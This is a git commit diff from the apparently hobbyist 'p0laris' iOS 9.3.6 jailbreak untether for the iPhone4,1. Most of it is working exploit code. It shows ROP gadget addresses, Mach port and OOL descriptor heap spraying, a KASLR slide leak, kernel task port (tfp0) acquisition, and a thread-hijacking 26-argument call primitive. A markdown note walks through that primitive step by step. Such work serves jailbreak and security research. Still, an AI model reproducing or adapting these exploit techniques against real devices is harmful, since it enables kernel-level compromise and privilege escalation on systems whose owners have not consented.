summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorspv <aquaticvegetable@gmail.com>2022-05-08 16:20:09 -0400
committerspv <aquaticvegetable@gmail.com>2022-05-08 16:20:09 -0400
commit6181acb12524b30ddfb7eb75840d1de4ca2ca4b0 (patch)
tree53d729b5b34cd7facc387b8bda16aae0a8ba3d40
parent41a1e7292997c84643202f3d27a4daa4b02197e4 (diff)
wip
-rw-r--r--README.md2
-rw-r--r--old111.js43
-rw-r--r--src/gen/main.c8
-rwxr-xr-xsrc/js/kexp/exploit.js79
-rw-r--r--src/js/lib/utils.js3
-rw-r--r--src/js/main.js5
-rw-r--r--src/js/primitives/call.js73
-rwxr-xr-xtools/jsc_fun.c0
-rw-r--r--work/call.md26
9 files changed, 159 insertions, 80 deletions
diff --git a/README.md b/README.md
index 9896729..2741815 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
# p0laris untether
this is a work-in-progress.
-gets ROP in racoon, then gets JS code exec with RWC primitives (arbitrary r/w, currently up to 4-arg call primitive)
+gets ROP in racoon, then gets JS code exec with RWC primitives (arbitrary r/w, currently up to 26-arg call primitive)
current offsets are included for `iPhone4,1` on `9.3.6 (13G37)`. it may work on other devices and/or firmwares, but that's unlikely. (besides maybe `9.3.5 (13G36)` on `iPhone4,1`?)
diff --git a/old111.js b/old111.js
new file mode 100644
index 0000000..7b77a72
--- /dev/null
+++ b/old111.js
@@ -0,0 +1,43 @@
+// write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
+// printf("\t\t%x %x\n", pthread_ret, read_u32(pthread_ret));
+
+
+ /*
+ * spin wait for return
+ */
+ while (true) {
+ /*
+ * reset, it's used as input for thread_state size
+ */
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+
+ /*
+ * if the pc is in (resolver, resolver + 8), suspend the thread
+ * (to not spin endlessly), read r0 and return
+ */
+ if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) {
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+ return read_u32(thread_state);
+ }
+
+// calls4arg("usleep", 1000, 0, 0, 0);
+ }
+
+ /*
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x130000); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, str_r0_r4 + slid); i_ += 4;*/
+
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4; \ No newline at end of file
diff --git a/src/gen/main.c b/src/gen/main.c
index 7d8c4fd..30726d5 100644
--- a/src/gen/main.c
+++ b/src/gen/main.c
@@ -341,6 +341,10 @@ int main(int argc,
writebuf_unslid(0x108000,
"var parent = new Uint8Array(0x100);"
"var child = new Uint8Array(0x100);"
+ "var parent16 = new Uint16Array(0x100);"
+ "var child16 = new Uint16Array(0x100);"
+ "var parent32 = new Uint32Array(0x100);"
+ "var child32 = new Uint32Array(0x100);"
" var fuck = new Array();"
" for (var i = 0; i < 0x200000; i++) {"
" fuck[i] = i;"
@@ -350,6 +354,10 @@ int main(int argc,
"//shitalloc();",
strlen("var parent = new Uint8Array(0x100);"
"var child = new Uint8Array(0x100);"
+ "var parent16 = new Uint16Array(0x100);"
+ "var child16 = new Uint16Array(0x100);"
+ "var parent32 = new Uint32Array(0x100);"
+ "var child32 = new Uint32Array(0x100);"
" var fuck = new Array();"
" for (var i = 0; i < 0x200000; i++) {"
" fuck[i] = i;"
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index 22f68ca..544a876 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -85,10 +85,11 @@ function spray_data(mem, size, num, portptr) {
printf("%x %x\n", master, read_u32(master));
printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
- printf("still alive?\n");
+ printf("still alive? %x %x\n", err, read_u32(err));
if (ret == KERN_SUCCESS) {
ret = read_u32(err);
}
+ printf("still alive? %x %x\n", err, read_u32(err));
return ret;
}
@@ -106,6 +107,7 @@ function copyinPort(kport, cnt) {
fakeportData = malloc(4);
host_get_io_master(mach_host_self(), master);
ret = spray_data(NULL, 0, 5, data);
+ printf("sprayed, still here\n");
printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
printf("sprayed, still here\n");
@@ -129,17 +131,21 @@ function copyinPort(kport, cnt) {
IORegistryEntryGetChildIterator(service, "IOService", it);
var found = false;
+ var o = IOIteratorNext(read_u32(it));
+ printf("%x\n", o);
- while ((o = IOIteratorNext(read_u32(it))) != MACH_PORT_NULL && !found) {
+ while (o != MACH_PORT_NULL && !found) {
var buf = malloc(16 * 4);
var size = malloc(4);
write_u32(size, 16 * 4);
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
+ printf("%d %s\n", ret, mach_error_string(ret));
if (ret == KERN_SUCCESS) {
printf("yolo\n");
// mach_port_deallocate(self, read_u32(data));
// write_u32(data, MACH_PORT_NULL);
spray_data(tst, strlen(tst) + 1, 10, fakeportData);
+ printf("still still alive?\n");
kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0;
printf("still alive? %x\n", 420);
printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
@@ -147,6 +153,7 @@ function copyinPort(kport, cnt) {
return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
}
}
+ printf("didn't find it\n");
}
function prepare_ptr(dict, size, ptr, num) {
@@ -183,7 +190,7 @@ function spray(dict, size, port) {
var kp = 0;
function spray_ports(number_port_descs) {
-// printf("spray_ports %d\n", number_port_descs);
+ printf("spray_ports %d\n", number_port_descs);
if (kp == 0) {
kp = malloc(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
@@ -211,10 +218,11 @@ function fast_log2(n) {
}
function fast_array_mul(arr, n) {
+ var up_to = fast_log2(n) + 1;
var tmp_arr = arr;
var done = 0;
- for (var i = 0; i < fast_log2(n) + 2; i++) {
- tmp_arr = tmp_arr.concat(tmp_arr);
+ for (var i = 0; i < up_to; i++) {
+ tmp_arr.push.apply(tmp_arr);
done = (1 << i);
}
@@ -232,27 +240,33 @@ function send_ports(target, payload, num, number_port_descs) {
write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
- var new_buf_ = new Array();
- var tmp = u32_to_u8x4(init_port_set);
- new_buf_.push(tmp[0]);
- new_buf_.push(tmp[1]);
- new_buf_.push(tmp[2]);
- new_buf_.push(tmp[3]);
- tmp = u32_to_u8x4(num);
- new_buf_.push(tmp[0]);
- new_buf_.push(tmp[1]);
- new_buf_.push(tmp[2]);
- new_buf_.push(tmp[3]);
- new_buf_.push(0);
- new_buf_.push(0);
- new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
- new_buf_.push(19);
+ var new_buf = new Uint32Array(3);
+// var tmp = u32_to_u8x4(init_port_set);
+ new_buf[0] = (init_port_set);
+ new_buf[1] = (num);
+ new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16));
+
+// new_buf_.push(tmp[0]);
+// new_buf_.push(tmp[1]);
+// new_buf_.push(tmp[2]);
+// new_buf_.push(tmp[3]);
+// tmp = u32_to_u8x4(num);
+// new_buf_.push(tmp[0]);
+// new_buf_.push(tmp[1]);
+// new_buf_.push(tmp[2]);
+// new_buf_.push(tmp[3]);
+// new_buf_.push(0);
+// new_buf_.push(0);
+// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
+// new_buf_.push(19);
// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]);
- var new_buf = fast_array_mul(new_buf_, number_port_descs);
+// var new_buf = fast_array_mul(new_buf_, number_port_descs);
- fast_write_buf(buf + req_init_port_set, new_buf);
+ for (var i = 0; i < number_port_descs; i++) {
+ write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4);
+ }
/*
for (var i = 0; i < number_port_descs; i++) {
@@ -286,7 +300,7 @@ function release_port_ptrs(port) {
var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("alive\n");
// if (ret != KERN_SUCCESS) {
- printf("mach_recv %d %s\n", ret, mach_error_string(ret));
+// printf("mach_recv %d %s\n", ret, mach_error_string(ret));
printf("alive\n");
// }
free(req);
@@ -339,34 +353,19 @@ function get_kernel_task() {
prepare_ptr(big_buf, big_size, kptr, 256);
prepare_ptr(small_buf, small_size, kptr, 32);
- sched_yield();
+ var dummy = malloc(4);
for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
- var dummy = malloc(4);
spray(big_buf, big_size, dummy);
}
- sched_yield();
+ var dummy = malloc(4);
for (var i = 0; i < PORTS_NUM; i++) {
write_u32(fp + (i << 2), spray_ports(i));
- var dummy = malloc(4);
spray(small_buf, small_size, dummy);
}
- sched_yield();
for (var i = 0; i < PORTS_NUM; i++) {
- printf("test\n");
- printf("test1\n");
- printf("test2\n");
- printf("test3\n");
- printf("test4\n");
- printf("test5\n");
- printf("test6\n");
- printf("test7\n");
- printf("test8\n");
- printf("test9\n");
- printf("test10\n");
release_port_ptrs(read_u32(fp + (i << 2)));
- printf("test11\n");
}
printf("get lucky\n");
diff --git a/src/js/lib/utils.js b/src/js/lib/utils.js
index 361e71d..dfdf38a 100644
--- a/src/js/lib/utils.js
+++ b/src/js/lib/utils.js
@@ -30,6 +30,7 @@ function unhexlify(hexstr) {
return bytes;
}
+/*
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
@@ -44,7 +45,7 @@ function hexdump(data) {
}
return lines.join('\n');
-}
+}*/
// Simplified version of the similarly named python module.
var Struct = (function() {
diff --git a/src/js/main.js b/src/js/main.js
index 9b03c98..7021ab1 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -19,6 +19,9 @@ var PROT_EXEC = 0x4;
var MAP_PRIVATE = 0x2;
var MAP_ANON = 0x1000;
+/*
+ * leftover shit from jsc_fun, used to be using `log`
+ */
try {
puts("we out here in jsc");
} catch (e) {
@@ -57,7 +60,7 @@ function main() {
printf("tfp0=%x\n", tfp0);
- return 0;
+ return;
var i = 0;
while (true) {
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index e382470..be4f254 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -24,7 +24,15 @@ var countptrptr = 0x132000;
var thptrptr = 0x132004;
var thread_stateptrptr = 0x132008;
+var pthread_exit = 0x20633048 | 1;
+var pthread_join = 0x20636af4 | 1;
+var add_sp_0x3c = 0x23d72b5a | 1;
+var mov_r1_r0 = 0x72f76 | 1;
+var mov_r0 = 0xee40 | 1;
+var str_r0_r4 = 0x85474 | 1;
+
var stack_shit = 0x161000;
+var pthread_ret = 0;
function get_dyld_shc_slide() {
/*
@@ -120,6 +128,18 @@ function calls4arg(sym, r0, r1, r2, r3) {
var rth = 0;
+function symaddr(sym) {
+ if (sym in sym_cache) {
+ var addy = sym_cache[sym];
+ } else {
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
+ sym_cache[sym] = addy;
+ }
+ return addy;
+}
+
function callnarg() {
if (arguments.length < 1) {
return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
@@ -151,19 +171,16 @@ function callnarg() {
/*
* if the thread doesn't exist, create it.
*/
- if (read_u32(th) === 0) {
- calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
- thread = read_u32(threadptr);
- write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
- rth = read_u32(th);
+ calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
+ thread = read_u32(threadptr);
+ write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+ rth = read_u32(th);
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+
+ if (pthread_ret == 0) {
+ pthread_ret = malloc(4);
}
- if (rth === 0) {
- rth = read_u32(th);
- }
-
-// calls4arg("thread_suspend", rth, 0, 0, 0);
-
/*
* write first 4 to r0-r3, rest to stack
*/
@@ -175,10 +192,9 @@ function callnarg() {
}
}
- /*
- * r9
- */
- write_u32(thread_state + (11 << 2), 0x1337);
+ var stack_shit_ret_offset = 0x58;
+
+ write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
/*
* stack
@@ -188,7 +204,7 @@ function callnarg() {
/*
* return address, infinite loop
*/
- write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
+ write_u32(thread_state + (14 << 2), add_sp_0x3c + dyld_shc_slide);
/*
* pc
@@ -210,27 +226,10 @@ function callnarg() {
calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
calls4arg("thread_resume", rth, 0, 0, 0);
- /*
- * spin wait for return
- */
- while (true) {
- /*
- * reset, it's used as input for thread_state size
- */
- write_u32(count, 17);
- calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
-
- /*
- * if the pc is in (resolver, resolver + 8), suspend the thread
- * (to not spin endlessly), read r0 and return
- */
- if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) {
- calls4arg("thread_suspend", rth, 0, 0, 0);
- return read_u32(thread_state);
- }
-
-// calls4arg("usleep", 1000, 0, 0, 0);
- }
+ calls4arg("pthread_join", thread, pthread_ret, 0, 0);
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+ return read_u32(pthread_ret);
}
/*
diff --git a/tools/jsc_fun.c b/tools/jsc_fun.c
new file mode 100755
index 0000000..e69de29
--- /dev/null
+++ b/tools/jsc_fun.c
diff --git a/work/call.md b/work/call.md
new file mode 100644
index 0000000..692a878
--- /dev/null
+++ b/work/call.md
@@ -0,0 +1,26 @@
+# call primitive
+
+4-arg call primitive (fast b0i) works like this:
+- backup `atan2` lazy symbol address
+- take 4 32-bit args and pack them into 2 doubles. 1 double (64-bits) is passed as 2 registers (32-bits), thus giving us 4 32-bit args.
+- overwrite `atan2` lazy symbol address with addy to call (used by `Math.atan2`)
+- call `Math.atan2` with args, get ret val from same function
+- replace `atan2` lazy symbol address with its real value
+- return ret val
+
+26-arg call primitive (slower b0i) works like this:
+- overwrite lazy symbol address for __stack_chk_fail (doesn't specifically need to be that function, i just use it as it shouldn't be called in normal operation anyway), with its own resolver, so calling it will just spin.
+- create a new pthread running __stack_chk_fail's resolver, so it spins indefinitely
+- get the mach thread port thing for that pthread, for later
+- suspend the thread
+- allocate some memory for the mach thread state
+- allocate some memory for a fake stack
+- write first 4 arguments to r0-r3 in the thread state itself
+- place the rest of the args on the fake stack, and set the stack ptr to point to the fake stack
+- set return address (lr) to a ROP gadget that adds 0x3c to the stack, and pops a bunch of reg's (more args)
+- write pthread_exit to fake stack + 0x58, where the pc will be popped from
+- run pthread_join
+- wait
+- pthread_exit exits the thread, r0 contains the function we called's return value, which will be grabbed by pthread_join
+- pthread_join writes the ret val to a known location, which we then read the return value from
+- return the ret val \ No newline at end of file